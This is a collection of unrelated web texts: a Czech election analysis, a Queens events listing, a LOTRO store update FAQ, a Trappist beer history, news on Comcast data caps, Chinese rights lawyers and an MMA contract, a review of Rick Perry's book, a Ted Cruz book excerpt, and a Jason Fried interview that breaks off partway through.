A basic analysis comparing various demographic indicators to the election results found some interesting results, although correlation does not equal causation. In municipalities with high unemployment, the KSČM won 21.5% of the vote, placing a strong second behind the ČSSD (23.3%). TOP 09 (6.4%) and the ODS (4.9%) performed worse in areas with high unemployment, while Úsvit did better (8.2%). In areas with low unemployment (Prague area, major urban areas in Central Bohemia, Plzeň, České Budějovice, Hradec Králové), TOP 09 won the most votes with 19.9%, against 17.7% for ANO, 16.3% for the ČSSD and only 10.8% for the Communists (basically tied with the ODS, which won 10.7%). In towns with low population density, the Communists won 20.6% of the vote, only a few points behind the Social Democrats (21.4%). TOP 09 and the ODS, again, did significantly worse in these less populous villages. From these indicators, one party whose vote share varied little was ANO: it did not do significantly better or worse in any kind of town by these selected indicators. Like a protest party, drawing from everywhere?
By far, the ČSSD’s best region was Moravia-Silesia (26.4%) and the party won 31.8% of the vote in Karviná district – a major coal mining basin. Outside the solidly leftist mining basin of Czech Silesia and solidly right-wing Prague, the ČSSD’s support was fairly homogeneously spread throughout the country. It did more poorly in Liberec region (16.9%) and Central Bohemia (18.4%).
The KDU-ČSL’s support is heavily concentrated in Moravia, winning over 10% of the vote in Vysočina, South Moravia and Zlín regions. Moravia, poorer, more rural and more clerical than Bohemia, has long been a stronghold of ‘Catholic clerical’ parties – the ČSL’s support during the First Republic was largely Moravian, the KSČ did poorly in Moravia in the 1946 election (and the ČSL did well) and the KDU-ČSL, after 1990, managed to retain a lot of that rural, Catholic Moravian support. As noted above, the KDU-ČSL did very poorly in the former German territories. This likely means that, after 1990, the KDU-ČSL did well where it inherited a strong interwar ČSL tradition. In German areas, voters in the interwar years had backed German parties and Czech parties like the ČSL (among others) had little footing if any.
Úsvit’s support was quite evenly distributed as well: outside of Prague (only 3.2%) and Zlín (10.2%), its support in other regions varied between 5.5% and 8%. VV leader Vit Bárta was unable to win reelection standing as Úsvit’s top candidate in the Plzeň region; however, VV members won three seats standing on Úsvit’s lists.
Conclusions
This election has not ended the political crisis in the Czech Republic. Far from it, it has only prolonged it further. The ČSSD had been expecting (and was expected) to win some 65-70 seats, which would have allowed it to form a minority government with KSČM support. Instead, the ČSSD won only fifty seats, and a ČSSD-KSČM government would have only 83 seats.
One party has upset all these plans: ANO 2011. The party’s major success at the polls means that their support is very much crucial to any future government. However, Babiš isn’t too hot on the idea of participating in a coalition government. Before the election, he repeatedly said that his movement would help pass “good laws” in opposition rather than being in government, and he more or less reiterated that on the day following the election. He had ruled out working in government with either ODS or TOP 09, seeing those parties as bywords for corruption. There are also significant tensions between Babiš’ new party and the ‘old parties’ of the right, especially TOP 09. Therefore, we can rule out a coalition of right-wing parties (ANO, TOP 09, ODS, KDU-ČSL), which would had only a tenuous 103 seat majority anyhow.
ANO’s results and its impact on the election result means that Babiš’ earlier hopes to remain out of government and to be a ‘constructive opposition’ are unsustainable.
Babiš’ relations with the ČSSD do not seem all that good; the ČSSD (unwisely) dismissed ANO as a commercial party and Babiš has cited significant policy differences with the centre-left, notably on taxation. After the election, Babiš prided himself in saying that he had contributed to the defeat of the left. However, the policy differences do not seem too big to overcome: both parties pledged to reduce the VAT, scrap the healthcare user fees or introduce new anti-corruption measures. Perhaps the most likely government which could be formed now is a ČSSD-led government with the participation or external support of ANO and the KDU-ČSL. Such a coalition would hold 111 seats, which would still make for an extremely unstable government.
For the time being, the situation is further complicated by the nasty infighting within the ČSSD. ČSSD voters contributed to the internal crisis in the party: party leader Sobotka and his pro-Zeman rival Michal Hašek both ran on the party’s list in the South Moravia region. Michal Hašek won more preferential votes than Sobotka, raking in some 25,531 preference votes against 22,175 preference votes for the incumbent ČSSD chairman. After the election, the crisis within the party has worsened. A day after the election (and after having met with Zeman), rebels led by Michal Hašek voted to exclude Sobotoka from the negotiating team and called on him to resign, outraging Sobotka and his allies who spoke of a ‘putsch’ and refused to resign. Since then, Hašek’s pro-Zeman negotiating team fell apart and a new team, led by Sobotka, was established on Wednesday last week. However, Sobotka’s negotiating team is only making courtesy contacts with other parties; the real negotiations will start after the ČSSD’s executive resolves the leadership question on November 10.
Hašek has the backing of about 22 ČSSD MPs, against 18 for the incumbent leader and ten sitting on the fence. The nasty infighting in the largest party further complicates government formation and creates the threat that the country’s last remaining ‘credible’ governing party could fall apart.
The situation is further complicated by President Miloš Zeman, the wildcard in all this – and very much a crucial player. Zeman is responsible for nominating a Prime Minister, although the constitution imposes no time limits for the nomination of a Prime Minister and Zeman is probably in no hurry to make his decision before the ČSSD’s crisis has been resolved. In the meantime, Zeman’s presidential cabinet (Rusnok) will remain in place as a caretaker government, giving Zeman a hand in the day-to-day ruling of the country.
Normally, the President would nominate the leader of the largest party (or the leader of the party which could assemble a coalition) to the office of Prime Minister and that would be that. However, it’s clear that Zeman isn’t a normal President. He has already indicated that he may not choose to nominate the leader of the largest party (Sobotka); instead, Zeman said that he would name a ‘representative’ from the party which won the most votes. Zeman has already intervened in the post-election crisis. On Saturday October 26, the ČSSD rebels led by Hašek met with Zeman. In an interview he gave on Sunday October 27, Zeman said that Sobotka should resign because of the ČSSD’s poor showing. It is quite clear that Zeman would like to nominate somebody like Hašek as Prime Minister. It would provide him with a friendlier government, which he could hope to influence.
Regardless of what government is patched together on these numbers, what seems rather certain is that the next government will be very unstable. It will be hard to get a stable government when it is dependent on the backing of ANO 2011, a brand new populist party whose ideology is uncertain and whose capacity to survive after an election is also quite uncertain (see the example of VV’s rapid collapse). Karel Schwarzenberg and ODS leader Miroslava Němcová have both already stated that they think that there will be new elections, within one or two years according to Schwarzenberg. Zeman has said that he opposes new elections, and called on politicians – including himself – to take their responsibilities and ensure the formation of a stable government. However, an unstable government, especially if it is led by the pro-Zeman wing of the ČSSD, would likely be very weak in the face of the increasingly powerful presidency. As such, the upcoming political instability only strengthens Zeman. Therefore, even if Zeman’s horse in the race (SPOZ) did very poorly, he can still be considered as one of the major winners of this election.
How will Czech politics, currently in a state of flux, evolve in the coming years? Will the ČSSD and ODS, the two old major parties which both did terribly in this election, reinvent themselves in a way which is more appealing to an electorate which is fed up with the old party system and corruption? Will the ODS ever be able to regain its dominance of the right, having been upset not only by TOP 09 but also ANO in this election? What will become of the two new populist parties which emerged in this election? Few are predicting a long future for Úsvit, an unstable and fractious party made up of diverse elements and with an appeal resting on very vague nations of ‘direct democracy’ and nationalistic sentiments. Most expect Okamura’s party to collapse within a few years. However, what will become of Babiš’ ANO? Will the party, especially if it is compelled to enter government, go the way of VV and collapse in scandal and dissension within a few years? ANO’s appeal might very well wear off, and the party’s relatively vague ideology could come back to haunt it. On the other hand, ANO seems like it is built on a more solid footing than VV was; Babiš appears to be a stronger, more determined leader who is committed to building a party organization and hopes to entrench his party as a major party in the new, unpredictable game of Czech politics. In short, could Babiš actually become the Czech Berlusconi; the charismatic tycoon who builds his own party (around himself), leads it to success at the polls and weathers tougher times to become a mainstay in his country’s political system.
The Czech Republic may very well have lived a realigning election, which marks the fall of the relatively stable and straightforward (left-right) party system which had predominated between 1996 and 2010 (2010 could be seen as a ‘transition’ election to a new party system) and the rise of a new party system, one in which new populist parties led by tycoons or other charismatic figures (less closely tied to traditional ideologies) compete with the remaining ‘older’ ideological parties (and also one in which a president is intent on imposing his own stamp on the political system).
Advertisements |
It's In Queens! (January 30 Through February 5)
Lunar New Year celebrations have kicked off in Queens, and the upcoming week offers opportunities to listen to Korean jazz, make Korean masks, and watch Chinese lion dances. From other parts of the globe, Argentine tango, African percussion, R&B superstar Mario, countless classic musicals and choral singing are also on tap. Here’s the rundown.
Jan. 30, Nature of the Muse, 7:30 pm. Poet Audrey Dimola hosts a reading-and-writing contest by the fireplace. Local writers share their work and then write live responses to random prompts that the audience creates. No cover, but attendees are encouraged to buy at least one drink. LIC Bar, 45-58 Vernon Blvd, LIC, www.licbar.com.
Jan. 30, Lunar New Year Celebration, 4 pm. Listen to stories, make a craft, watch lion dances, and enjoy Lunar New Year celebrations. Free, but space is limited; first come, first served. Queens Central Library, 89-11 Merrick Blvd., Jamaica, www.queenslibrary.org.
Jan. 31, Young Joo Song Quartet, 8 pm. Young Joo Song earned “Best Jazz Album” and “Best Jazz Performance” at the Korea Music Awards. $15. Flushing Town Hall, 137-35 Northern Blvd., www.flushingtownhall.org.
Jan. 31, The Best Tango and Milango, 8 pm. Thalia Spanish Theatre presents the most popular tango and milongo classics in music, song and dance. Show lasts until March 23 with Friday and Saturday shows at 8 pm and Sunday performances at 4 pm. $30 to $35. TSH, 41-17 Greenpoint Ave., Sunnyside, www.thaliatheatre.org.
Jan. 31, A Star Is Born, 7 pm. The Museum of the Moving Image presents the See It Big: Musicals series featuring films with singing and dancing extravaganzas. Judy Garland stars in A Star Is Born, a tale of lost love and found fame. MMI, 36-01 35th Ave., Astoria, www.movingimage.us.
Jan. 31, Mario, 9 pm. R&B superstar and Billboard Award winner Mario performs live. $40 (VIP $100), Resorts World Casino New York, 110-00 Rockaway Blvd., Jamaica, www.rwnewyork.com.
Feb. 1, Choreographers’ Spotlight Showcase, 7:30 pm. The Queens Dance Workshop presents a performance in its new space at the Genesis Society Studio Metro Plaza, 102-02 Metropolitan Ave., Forest Hills, 718-544-5997.
Feb. 1, Massa Gaze, 1 pm to 8:30 pm. The Museum of the Moving Image screens Odyssey, holds two panel discussions and screens Burn during a day dedicated to the depictions of slavery in film and television. MMI, 36-01 35th Ave., Astoria, www.movingimage.us.
Feb. 2, Korean Mask Making, 1 pm. Learn how to make traditional masks that are vital parts of Korean dance dramas. Flushing Town Hall, 137-35 Northern Blvd., www.flushingtownhall.org.
Feb. 2, My Childhood in Bayside vs. What’s There Now, 10:50 am. In honor of his 71st birthday, official Queens historian Jack Eichenbaum leads a walk through his hometown, Bayside. Logistics for the tour link to the arrival of a reduced weekend fare LIRR train (leaves Penn Station at 10:18 am and arrives in Bayside at 10:47). Register at www.mas.org/tours.
Feb. 2, Meet Me in St. Louis, 2 pm; Gold Diggers of 1933, 4:30 pm; Pennies from Heaven, 7 pm. The Museum of the Moving Image presents the See It Big: Musicals series featuring films with singing and dancing extravaganzas. Judy Garland stars in Meet Me in St. Louis, the story of a family contending with life, love and an impending move from St. Louis to NYC. Gold Diggers of 1933 is about four aspiring actresses trying to make it during the Great Depression. In Pennies from Heaven, Steve Martin is a sheet-music salesman during the Great Depression. Music provides his escape from reality. MMI, 36-01 35th Ave., Astoria, www.movingimage.us.
Feb. 2, Sunday Concerts @ Central: Grace Drums, 3 pm. This percussion-and-vocal ensemble uses time-honored traditional West African percussion instruments, music and vocals from African and Caribbean cultures, infusing traditional sounds with rhythm and blues, Caribbean dance beats and vocal improvisation. Free. Queens Central Library, 89-11 Merrick Blvd., Jamaica, www.queenslibrary.org.
Feb. 2, A Curator/Artist Conversation: Awash, 1 pm. Curator Jill Conner and artist Blane De St. Croix chat. De St. Croix’s studio was destroyed during Superstorm Sandy. He will address Sandy’s impact on his artistic practice, highlighting his multilayered approach to creating renditions of environmental issues as they relate to individuals, communities, bureaucracies and larger government bodies. Free. Dorsky Art Gallery, 11-03 45th Avenue, LIC, www.dorsky.org.
Feb. 3, Moveable Feast Artist Dinner: Hemlines & Waistlines: 6:30 pm. The Queens Council on the Arts presents an experience where Ready-To-Wear meets Ready-To-Eat featuring local artist Mark Salinas and celebrity chef Dave Martin. Funds raised will support scholarships for participants in the High School to Art School Portfolio Development Program. Manducatis Rustica Restaurant, 46-33 Vernon Blvd., LIC, www.queenscouncilarts.org.
Feb. 4, Get The Picture. Alan Richards, a professional audiologist, displays his artistic photo manipulations through May 4. Queens Botanical Garden admission is free until April 1, and the exhibit can be viewed Tuesdays to Saturdays, from 8 am to 4 pm. From April 1 through May 4, Tuesdays to Sundays, the exhibit can be seen from 8 am until 5:30pm. QBG, 43-50 Main St., Flushing, www.queensbotanical.org.
Feb. 5, Queens College Choral Society Auditions, 6 pm. Experience the joy of choral singing and perform Felix Mendelssohn’s Elijah on May 17. The society welcomes people of all ages and backgrounds and is open to anyone with singing experience. Auditions consist of basic singing skills—no preparation is necessary. Queens College Music Building, Room 246, Reeves Avenue, Flushing, www.qcchoralsociety.org or James John at 718-997-3818.
The “It’s In Queens” column is produced by the Queens Tourism Council with the hope that readers will enjoy the borough’s wonderful attractions. More info at www.itsinqueens.com. |
By QuartermasterU
Hello from the Turbine eCommerce team. I’m writing today to tell you about some new and exciting updates coming to the in-game LOTRO Store in the coming weeks! We think the new LOTRO Store will offer a number of great new features, and improve your experience whether you like to browse, purchase items regularly, or just get in and out quickly!
· The Store has a completely new look and layout! We’re keeping the functionality you expect, while simplifying and speeding up your experience.
· The Store is now resizable! You can change the dimensions of the store to whatever you like.
· Results will be displayed on one scrollable page! No more digging through pages of items to find what you want.
· Faster and easier browsing! Simply click a Category, and see the sub-categories or items within that category. If you want to check a different sub-category, you no longer have to go back to the parent category.
· Changing the quantity of a particular item is now easier! When you locate the item you’re looking for, simply click the plus sign to increase the quantity (or minus sign to decrease the quantity), and the price will automatically update a second later.
· Bookmarking items is now easier! You no longer have to go into the long description section to bookmark a Favorite. Simply click the empty star in the top right of an item, and it will add it to your Favorites section. (Note: we also changed the name of this feature from Bookmarks to Favorites.)
· Short and long descriptions are no longer on separate pages! When you see an item, click the “Learn More” link and the description will expand instead of loading a separate page.
· New payment methods are now available! For those that prefer to pay with something other than credit cards or PayPal, we now offer a wide variety of options depending on your selected country.
o We’re bringing back some popular payment methods such as Sofort, BOKU, PaySafeCard, & more.
o We’re also adding new options such as the ability to use Subway gift cards to get points & more.
· There is a new Specials section! We now have a SPECIALS section of the Store that will highlight promotions, Turbine Point sales, new items, & more.
· Spend less time in the Store! You can now choose to turn off the confirmation screen when making virtual item purchases. By default, the confirmation screen appears, but can be turned off by checking the box at the confirmation screen, or via the My Account screen. All future virtual item purchases will then complete instantly when you click the Buy button. This feature is not available for Turbine Point purchases.
o Also, since buying items is much quicker, we’ve streamlined the # of buttons that appear in the store, and removed the cart functionality.
FAQ
· What will happen to my Turbine Point wallet balance?
o Turbine will move your balance from the old store to the new one. Players will not need to take any action.
· What will happen to my purchase history?
o Turbine will restore the last 30 days of history to the new Store.
· How do I view my recent purchases?
o You can either click the Clock icon to view recent purchases, or you can click the top-right drop down to select “History”
· Will my bookmarks be saved?
o Unfortunately not. But think of it as an opportunity to browse the new store! Also, if you know the name of the item, you can simply type it in the search field then click the empty star in the top right to put the item into your Favorites.
· Can I still preview cosmetic items on my character?
o Yes! There is now a hanger icon within the item icon that you can click to preview the clothing/armor item.
· How do I add more Turbine Points to my account?
o Either click the Turbine Points tab or the “+” next to your wallet balance to get to the Turbine Point purchase page.
· Will I have to re-enter my payment information for Turbine Point purchases?
o Since this is a new Store, you will need to re-enter your payment information for point purchases only. For VIPs, your subscriptions have not changed, and no adjustments are needed.
· I’m currently living in another country, and I don’t see my preferred payment method. Is there a way to see the other options?
o Yes. When you are on the payment option select screen, click on “Show More Methods”, then choose your preferred country from the dropdown at the top of the page.
· What keys/codes can I redeem in the store?
o At this time players can redeem new free sample codes. All other keys/codes will need to be redeemed through myaccount.turbine.com. Turbine is looking into allowing more key types to be redeemed in the new store in a future update.
· What’s the difference between Specials and Sales?
o Specials are where we will have information about Store-related promotions. This will include information about sales, point promotions, new store items, and event related items.
o Sales will have all items that are currently discounted
o By default the LOTRO Store will Show All Items. We will add the feature to filter for your character in a future update.
· What happened to the Cart?
o The cart was removed as a way to clean up the store interface. Also, given that the new store is substantially faster and easier to navigate, you shouldn’t need it going forward.
· What happened to the Best-Sellers section?
o The Best-Sellers section may return in a future update.
· What happened to the buttons that let you switch between list view and store view?
o Since all the items in a category are now listed in a single list that you can scroll through, these options are no longer available.
· I can’t find an item that was in the old Store. What happened to it?
o In most cases, we were able to move items from the old Store to the new one. There are a small handful of items, due to the way they were designed, that need to be reworked. We will be working to make them available as soon as possible.
· Will you make additional updates to the Store?
o Yes. We will be evaluating your feedback, and are planning to continue to improve the Store.
· I think I found a bug!
o If you run into a bug, please let us know by sending in a bug report through the Help menu in-game.
· I need help with a purchase!
o If you run into any issues that require attention from Customer Service, please visit our Support Center at http://support.turbine.com. |
On March 16th of 2016, a new beer was presented to the Spanish press: Cardeña Tripel. Located just outside Burgos in Northern Spain, Monasterio de San Pedro de Cardeña is beginning the process of becoming the 12th official Trappist brewery. The recipe was developed by Scottish brewmaster Bob Maltman (editorial note: Fantastic name for a brewer!) in cooperation with Belgian beer expert Erick Coene. Together, they created the recipe under the direction of the monks.
Monasterio de San Pedro de Cardeña is already a member of the International Trappist Association (ITA) and has been selling wine, liquor, and other products that bear the famous hexagon. They’re sold onsite at the abbey and at their web portal. The beer, Cardeña Tripel, is now available onsite and on their web store as well.
Currently, the beer is being produced in Madrid at Fabrica de Cervezas MarPal. As per Trappist rules, the beer must be brewed within the wall of the abbey to become an official Trappist Beer. Cardeña will continue to make batches off site and sell them while simultaneously installing a small brewery onsite. Once the brewery is finished, they’ll shift production to the abbey and then officially present their beer to the ITA.
Cardeña Tripel is a Belgian-style blond Triple of 7% ABV.
Monasterio de San Pedro de Cardeña
This history of Monasterio de San Pedro de Cardeña is often shrouded in the mists of history due to its extreme age combined with the turbulent history of the Iberian Peninsula. Tradition places the founding of the abbey at 534CE when St. Benedict sent out monks from Monte Cassino. Until the mid 19th century, Monasterio de San Pedro de Cardeña was a Benedictine monastery. Although this is the standard tradition, it’s hard to put exact dates and supporting documents to these claims due to the invasion and rule of Islamic forces throughout the second half of the first millennium.
The first documented acknowledgement of the existence of the monastery comes in 902CE in the paperwork of a local count who’d documented donations made to the abbey. There are some slightly earlier references, though, to a restoration made to the Monasterio de San Pedro de Cardeña by King Alfonso III. The abbey was destroyed shortly thereafter in 934CE by Abderamman III, ruler of the nearby Caliphate of Cordoba. This lead to the famous martyring of 200 monks two decades later. Again, the abbey was restored later that century. The monastery remained a part of the Benedictine community until 1835 when Alvarez Mendizabal implemented a series of laws that confiscated monastic lands and forced the monks out.
It wasn’t until after the Spanish Civil war that monastery was fully restored to its original purposes. Although several attempts had been made at the end of the 19th and beginning of the 20th centuries, none succeeded. The abbey grounds had played host to a concentration came during the Spanish Civil War. It wasn’t until after the war had ended and the grounds were vacated that another attempt to restart the monastery could take place. On April 29th, 1942; the abbey was officially reconsecrated as a Cistercian Priory by Cistercian Monks of the Strict Observance (Trappists). A Priory is a small, non-independent monastic community.
Three years later, the priory was elevated on October 1st, of 1945 and granted full autonomy 3 months later in January of 1946. In 1948, the priory was granted the full status and title of Abbey, elevating it to its current status.
If you’d like to read more about the history of the Trappist Order and Monastic Brewing, please follow this link to my page that gathers all my writings on the subject.
Sources:
Like this: Like Loading... |
Comcast is making sure its customer support agents stay on message as the cable giant rolls out data caps in more markets.
In a memo leaked to Ars Technica, Comcast arms its representatives with a list of Dos, Don’ts, and taking points, all aimed at making new 300 GB data caps seem more palatable. Among those recommendations: Don’t actually use the term “data cap,” and instead say “data usage plan.”
The memo is full of these kinds of linguistic gymnastics. Comcast’s plans are “never limited,” the memo says, because customers can add “an unlimited number” of 50 GB data blocks beyond the 300 GB limit, priced at $10 each. Comcast is also offering a proper unlimited data plan for a flat $30 to $35 fee per month, depending on market.
But perhaps the most interesting part of the memo is the admission that the data caps (or whatever Comcast wants to call them) are not about managing congestion. If asked to explain the new caps, representatives must say it’s about “Fairness and promoting a more flexible policy to our customers.” We’ve heard the “fairness” line from Comcast before, and the cable industry as a whole has acknowledged that caps and congestion aren’t related, but it’s rare to see Comcast admit directly that congestion has nothing to do with the new plans.
Of course, the fairness argument is also just mind-bending rhetoric on Comcast’s part. Aside from a 5 GB plan that’s a mere $5 per month cheaper than the standard 300 GB offering, Comcast isn’t offering any more flexibility or price cuts for average use. In fact, the company is continuing to hike Internet rates across the board, so it’s not as if heavy Internet users are taking the hit for everyone else. When Comcast says the data caps are about fairness, the company really means that losing cable TV revenue to cord cutters isn’t fair to Comcast.
The story behind the story: The new customer service script comes just as Comcast is expanding its usage caps to many more U.S. markets, hitting Little Rock, Arkansas; Houma, LaPlace, and Shreveport, Louisiana; Chattanooga, Greenville, Johnson City/Gray, Tennessee; and Galax, Virginia starting December 1. While the 300 GB limit is higher than an earlier 250 GB cap—which Comcast stopped enforcing a few years ago—families that have replaced more expensive cable TV packages with streaming video shouldn’t have much trouble bumping into overages.
Customers can avoid eating into their data plans by streaming video from Comcast instead of competitors like Netflix, but customer service reps aren’t allowed to talk about that. Instead, the memo says that any mention of net neutrality is grounds for escalating the matter to Comcast’s “Customer Security Assurance” team. |
"The King" will continue to reign in Strikeforce after all. Muhammed Lawal , who meets Lorenz Larkin at Strikeforce: Rockhold vs. Jardine Saturday night, has signed a new four-fight contract with Strikeforce, according to Lawal's manager Mike Kogan.Lawal had one fight left on his current contract, so this assures that he will fight in Strikeforce for at least five more fights. This also means that Lawal won't be moving over to the UFC any time soon.Lawal (8-1) is 3-1 in Strikeforce. He recently defeated Roger Gracie in September to get back on track following his light heavyweight title loss to Rafael "Feijao" Cavalcante in Aug. 2010.He recently retracted his "cancer patient" comments about Strikeforce on a recent episode of The MMA Hour and left the door open for a return to the organization."I've got one more fight on my contract and then my contract ends in February," Lawal said. "King Mo just wants to go where he can get paid and get paid without the check bouncing."Done and done. |
Campaign books are terrible. I know that. I tried to read former Minnesota governor Tim Pawlenty’s ‘Courage to Stand,’ book, which was perhaps the worst book I ever read in my life. And that wasn’t really Pawlenty’s fault. It’s just a bad genre. These books are autohagiography: they have to appeal to everyone, exalt the author (or supposed author), and offend no one. That’s basically impossible. So they throw the need to be appealing overboard and instead settle for boring. Here, for instance, Pawlenty recalling that seminal moment in which he saw Ronald Reagan’s beaming visage for the first time:
“I didn’t have a chance to interact with him, but it was meaningful to me just to be in his presence...What struck me most as President Reagan spoke to that crowd was his smile. He seemed genuinely happy and joyful and pleasant.”
Great, thanks Tim. And you can find examples like that in just about any campaign book you care to pick up. Any campaign book, that is, except Rick Perry’s ‘Fed Up.’
This is not a boring book. More to the point, it’s not even a book about Rick Perry. It’s a book about Rick Perry’s ideas. And his big idea is that most everything the federal government does is unconstitutional.
The book is fundamentally about the 10th amendment: that’s the one that says, “The powers not delegated to the United States by the Constitution, nor prohibited by it to the States, are reserved to the States respectively, or to the people.” The 10th Amendment clearly restricts the federal government’s power, but it’s in tension with the clause granting Congress the power to “to lay and collect Taxes, Duties, Imposts and Excises, to pay the Debts and provide for the common Defence and general Welfare of the United States,” and the Commerce Clause, which allows Congress to regulate activities that involve trade between states and nations.
But Rick Perry thinks we’ve swung way too far towards the clauses allowing Congress to, you know, actually solve problems. In his book, he suggests that courts went too far when they used the Commerce Clause to justify “federal laws regulating the environment, regulating guns, protecting civil rights, establishing the massive programs and Medicare and Medicaid, creating national minimum wage laws, [and] establishing national labor laws.” That’s a lot of the federal government for one guy to dislike.
He also thinks the federal government should butt out of education -- kind of ironic given that No Child Left Behind was passed by George W. Bush, who Perry called “an incredibly good president,” and based on programs Bush pioneered in Texas -- and that we have a problem with activist judges, even though a world in which all these programs were declared unconstitutional would be a world in which activist judges basically invalidated a century of popular sovereignty.
But Perry isn’t such a fan of popular sovereignty, either. He’d like to repeal the 17th Amendment, which would mean giving states, rather than voters, the power to select senators, as he believes the 17th Amendment was part of an unwise effort to take power away from the states. You can’t fault the guy for inconsistency.
Back in the Fall of 2010, Newsweek’s Andrew Romano interviewed Perry and pushed him on some of these ideas. That’s an important service because you never quite know how much of these books really reflect the candidate and how much really reflect the candidate’s ghostwriters. Perry, perhaps to his credit, didn’t budge. “I would suggest a legitimate conversation about [letting] the states keep their money and implement the programs,” he said in response to Romano’s questioning about Social Security, Medicare and Medicaid, all of which Perry appears to consider unconstitutional. “The 17th Amendment is when the states started getting out of balance with the federal government,” he said when pushed on that piece of his book.
Perry’s federalism is radical in scope, but it’s not thoughtless. He believes, and repeatedly argues, that states are simply more capable than the federal government. “Most problems get better solutions when they’re solved at the local level,” he writes. He believes that the variations in state policy allow Americans to “vote with their feet.”
It’s a superficially appealing vision. But it misses a few things: economies of scale, interrelated economies, and coordination problems.
There are certain things that are simply better done on the national level, and others that need to be done on the national level. Credit card regulation is a good example. Credit card companies are based in particular states, but they sell all over the country. Currently, that means that consumers in California are stuck with the weak regulations of South Dakota and Delaware. We are much more of a national economy than we were when the Constitution was written.
In other cases, the problem with state-by-state regulations aren’t as apparent until disaster strikes. Take a hedge fund that is Too Big to Fail. Are you really comfortable with a world in which it can locate in whichever states gives it the most favorable regulatory treatment? Because if it blows up, it’s not just going to take, say, Arkansas down with it. Or think of a nuclear power plant. Would you really want to be a Missouri resident near the Kansas border if Kansas decides to give the industry a pretty free ride?
In an economy this interconnected, it can be very difficult for cumbersome state governments to work with one another -- and with the businesses they all regulate -- at the speed of the economy. That why you’ll often hear frustrated corporate executives ask for a single national standard rather than 50 different regulatory regimes. The world Perry is envisioning might sound uniquely American to him, but it looks to me like taking a few steps towards the European Union’s construction. Its economies are deeply intertwined, and they use the same currency, but they have enormous trouble coordinating amongst one another. And as we’re seeing now, that can leave them in a very bad spot when they have to coordinate quickly, aggressively, and over very tough issues.
But for all that I disagree with much of it, Perry’s book is, at least, a serious argument about what kind of country we should be. I recommend it highly. |
The Chinese authorities have released a prominent Chinese human rights lawyer Teng Biao after 70 days in custody.
Rights group said he was freed on Friday afternoon and his wife was quoted as saying that he "is okay".
Mr Teng's release came shortly after China and the US held two-day of talks on human rights issues in Beijing.
But in a separate development, another well-known Chinese human rights lawyer Li Fangping has disappeared, human rights groups said.
His alleged disappearance "the very same day... suggests that security forces are conducting a carefully planned assault on outspoken human rights defenders in a calculated effort to eviscerate China's rights defence movement", Phelim Kine from New York-based Human Rights Watch organisation was quoted as saying by the AFP news agency.
China has not publicly commented on the reports of Mr Li's disappearance.
The advocacy group China Aid said both Mr Teng and Mr Li were members of the Chinese Christian Rights Defence Association.
Friday's release of Teng followed the talks in between Chinese officials and US Assistant Secretary of State Michael Ponser in Beijing.
Mr Posner told reporters that he had voiced Washington's "deep concerns" about the crackdown on dissidents and human rights activists, following appeals on the internet for mass protests similar to those that have rocked a number of Arab countries.
The organisation Chinese Human Rights Defenders (CHRD) says dozens of activists have been taken into police custody or placed under house arrest in recent months. |
Sometimes, when you’re Ted Cruz, you end up awkwardly watching hardcore porn with Supreme Court justices—as we learn from Cruz’s new book, A Time for Truth, where he recalls “gazing at explicit, hard-core pornography” with Justice Sandra Day O’Connor and then-Chief Justice William Rehnquist.
In a passage excerpted for Politico, Cruz describes how, while he was a 26-year-old clerk for Rehnquist, the Supreme Court was hearing a challenge to the constitutionality of a law regulating internet porn. The internet was “nascent technology,” so some librarians had to “demonstrate” to the blissfully-innocent justices just how easy it is for The Youths to stumble upon porn online.
I remember standing behind the computer, watching the librarian go to a search engine, turn off the filters, and type in the word cantaloupe, though misspelling it slightly. After she pressed “return,” a slew of hard-core, explicit images showed up on screen. Here I was, a 26-year-old man looking at explicit porn with Justice Sandra Day O’Connor, who was standing alongside the colleague (my boss) she had once dated in law school. As we watched these graphic pictures fill our screens, wide-eyed, no one said a word. Except for Justice O’Connor, who lowered her head, squinted slightly, and muttered, “Oh, my.”
Cruz’s book also contains some shade-throwing at Rand Paul, Mitch McConnell, and Karl Rove.
Latest Videos |
How I Work The How I Work series asks heroes, experts, and flat-out productive people to share their shortcuts, workspaces, routines, and more. Have someone you want to see featured, or questions you think we should ask? [Email Nick](mailto:nick.douglas@lifehacker.com).
Basecamp is a web-based project management tool, and like so many other software tools and startups before it, the creators of Basecamp made it for themselves. They just needed a decent way to manage projects and collaborations. It just happens that other people want to use it too.
The company now known as Basecamp was founded 17 years ago by Jason Fried, Carlos Segura, and Ernest Kim. Originally called 37signals and involved with various types of web design and development—including products like Campfire as well as what became Ruby on Rails—they eventually shifted their focus to their namesake product, Basecamp.
Advertisement
Jason Fried, CEO, keeps things pretty simple as he runs the company. No real to-do lists, no multiple monitors, no alarm clock. Just a clear focus during the day so that the work doesn’t encroach upon the boundaries of daily life. Here’s how he works.
Location: Chicago, IL
Current Gig: Founder and CEO of Basecamp
One word that best describes how you work: Calmly
Current mobile device: iPhone 7
Current computer: MacBook 12"
Advertisement
First of all, tell me a little about your background and how you got to where you are today.
I grew up in the Chicago suburbs and was a pretty crappy student. I loved learning, but school never interested me.
Some time in the late ‘80s, my next-door neighbor got this weird thing called a Macintosh SE. He called me over to check it out. First thing I ever saw on it was this flight simulator and it completely blew me away. The graphics were so sharp. Black and white, but sharp sharp sharp. I was floored.
I went home and asked my parents for a computer. They asked me to put together a pitch... Why did I want a computer? So I wrote up 100 reasons (quite repetitive reasons, I’m sure), but my effort was convincing enough. So we bought one. It was an SE/30 at that point.
A few years later I had a big music collection—tapes, mostly, but some CDs, as well. I was loaning them out to friends, but I never got them back. Worse, I forgot to whom I loaned them out, so it was really my fault. Around this time we got an AOL account. Dial-up modem days. And I started looking around for software to organize my music collection. I didn’t find anything I liked that appealed to me. So I set out to figure out how to make my own.
I found FileMaker Pro and learned that. Then I made a music-organizing database for myself. What was really cool about FileMaker was that you could design your own graphical interfaces around the standard database elements. So this is where I got my start designing graphical UIs. So I made my own music collection database thing. I ended up calling it “Audiofile” and uploading it to AOL. I asked people to pay me $20 if they liked it and listed my parents’ home address for where they should send the check.
That summer I got an envelope from Germany (I think). It was an airmail envelope—one with the blue and red checks around the edges. So fancy! I didn’t know anyone in Germany, so I opened it up with great anticipation. Inside was a print out of the order form I included with Audiofile and a crispy $20 bill. SOMEONE BOUGHT THIS THING I MADE FOR MYSELF!
And that was how my software business started. The last 20 years have been based on that experience. And today, Basecamp is the same thing—it’s a product we make for ourselves that we sell to other people. Luckily, there are a lot of people out there with the same kinds of problems we have. It’s hard to organize teams, hard to communicate companywide, hard to keep projects on track and people on the same page. Basecamp!
What apps, software, or tools can’t you live without?
